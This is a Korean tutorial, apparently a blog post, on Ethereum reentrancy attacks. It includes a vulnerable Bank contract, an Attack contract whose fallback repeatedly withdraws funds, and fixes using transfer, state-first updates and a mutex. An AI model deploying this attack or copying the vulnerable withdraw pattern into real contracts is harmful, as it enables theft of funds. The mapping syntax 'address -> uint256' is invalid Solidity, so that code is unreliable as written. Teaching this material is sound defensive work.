이더리움에서의 재진입성(Reentrancy) 공격에 대한 이해
재진입성 공격이란?
재진입이라는 용어는 ‘외부의 악의적인 컨트랙트가 취약한 컨트랙트의 함수를 호출하면서 실행경로가 그 안으로 재진입하는’ 방법이라고 표현한다. 사실 이렇게만 보면 어려운데, 이더리움과 스마트 컨트랙트의 특징을 먼저 살펴보면 좋을 것 같다.
- 이더리움은 ‘다른 사용자 주소로 이더를 전송’ 한다.
- 이더리움에서 스마트 컨트랙트는 다른 외부의 스마트 컨트랙트를 호출하고, 그 내부의 기능을 활용할 수 있다.
- 단순히 이더를 전송하거나 존재하지 않는 외부의 스마트 컨트랙트 내 기능을 호출하는 경우, 콜백을 포함한 다양한 대체 코드를 실행할 수 있다.
재진입성 공격은 컨트랙트가 알 수 없는 주소(스마트 컨트랙트)로 이더를 전송하는 경우 발생할 수 있다. 내부 fallback 함수에 악성코드를 심어놓은 스마트 컨트랙트로 이더를 전송하게 되면, 악의적인 코드가 실행되면서 발생하는 공격이다.
fallback 함수 : 이름이 없는 함수로, 스마트 컨트랙트 내에 존재하지 않는 함수를 호출하면 대신 호출되는 함수.
가장 유명한 사례로는 The DAO 해킹이 있다. 대략 1억 5천만 달러 이상의 잔액을 보유하고 있던 컨트랙트를 공격하였으며, 이 공격을 통해 이더리움에서 이더리움 클래식이 하드포크 되었다.
예시
여기 이더를 보관 및 인출해주는 은행 컨트랙트(Bank)와 이를 공격하기 위한 컨트랙트(Attack)가 있다고 하자.
// 은행 컨트랙트
contract Bank {
mapping(address -> uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
require(msg.sender.call.value(_amount)());
balances[msg.sender] -= _amount;
}
}
contract Attack {
Bank public bank;
constructor(address _bankAddress) {
bank = Bank(_bankAddress);
}
function attackBank() public payable {
bank.deposit.value(1 ether)();
bank.withdraw(1 ether);
}
function () payable {
if (bank.balance > 1 ether) {
bank.withdraw(1 ether);
}
}
}
공격자(Attacker)가 단일 트랜잭션만으로 Bank 컨트랙트에서 1이더만 남기고 모두 출금하는 과정을 그림으로 표현하면 아래와 같다. 단, Bank 컨트랙트에는 어느정도의 이더가 이미 존재하고 있다고 가정한다.
@그림 1: 공격자가 Attack 컨트랙트를 이용하여 Bank 컨트랙트를 공격
- 공격자가 Attack 컨트랙트의 attackBank 함수를 실행한다.
- attackBank 함수가 Bank 컨트랙트의 deposit 함수를 호출하여 1 이더를 입금한다.
- attackBank 함수가 Bank 컨트랙트의 withdraw 함수를 호출하여 1 이더를 인출한다.
- Bank 컨트랙트의 withdraw 함수 내부에서 msg.sender(Attack 컨트랙트)에게 1 이더를 전송한다. Attack 컨트랙트의 fallback 함수가 이를 처리한다.
- Attack 컨트랙트의 fallback 함수 내부에서 다시 Bank 컨트랙트의 withdraw를 호출한다. Bank 컨트랙트의 잔액이 1 이더만 남을때까지 이 과정은 계속 반복된다.
어떻게 막을 수 있을까?
재진입 공격을 막기 위한 방법은 현재까지 3가지 정도 존재한다.
1. transfer 함수 사용
transfer 함수는 외부 컨트랙트 호출에 대해 총 2300개의 가스만 사용할 수 있도록 되어있다. 이는 이더 전송을 위한 단일 트랜잭션은 가능하나, 외부의 다른 컨트랙트를 호출하기에는 적은 양이다.
2. 엄격한 상태 변수 변경
컨트랙트 또는 외부의 다른 컨트랙트에서의 호출을 통해 이더가 전송되기 전 상태변수를 변경하는 방식이다. 이를 체크 효과 상호작용 패턴(checks-effects-interactions pattern) 이라고 한다.
// Bank 컨트랙트 예시
contract Bank {
...
function withdraw(uint256 _amount) public {
...
// 아래 두 코드의 위치를 변경해서,
// 알 수 없는 주소로의 외부 호출을 수행하는 코드를
// 지역함수 또는 코드 실행 부분의
// 가장 마지막에 진행해야 한다.
require(msg.sender.call.value(_amount)());
balances[msg.sender] -= _amount;
}
}
3. 뮤텍스(mutex) 사용
코드가 실행되는 동안에는 컨트랙트를 잠궈주는 상태 변수를 추가하여 재진입을 막을 수 있다.
개선된 코드
개선된 Bank 컨트랙트의 코드를 살펴보면 아래와 같다.
// 개선된 은행 컨트랙트
contract Bank {
// 1. 뮤텍스 추가
bool mutex = false;
mapping(address -> uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) public {
// 2. 뮤텍스 확인
require(!mutex);
require(balances[msg.sender] >= _amount);
// 3. 상태 변수 우선 변경
balances[msg.sender] -= _amount;
// 4. 외부 호출 이전에 뮤텍스 설정
mutex = true;
// 5. call 대신 transfer 사용
msg.sender.transfer(_amount);
// 6. 외부 호출 이후 뮤텍스 해제
mutex = false;
}
}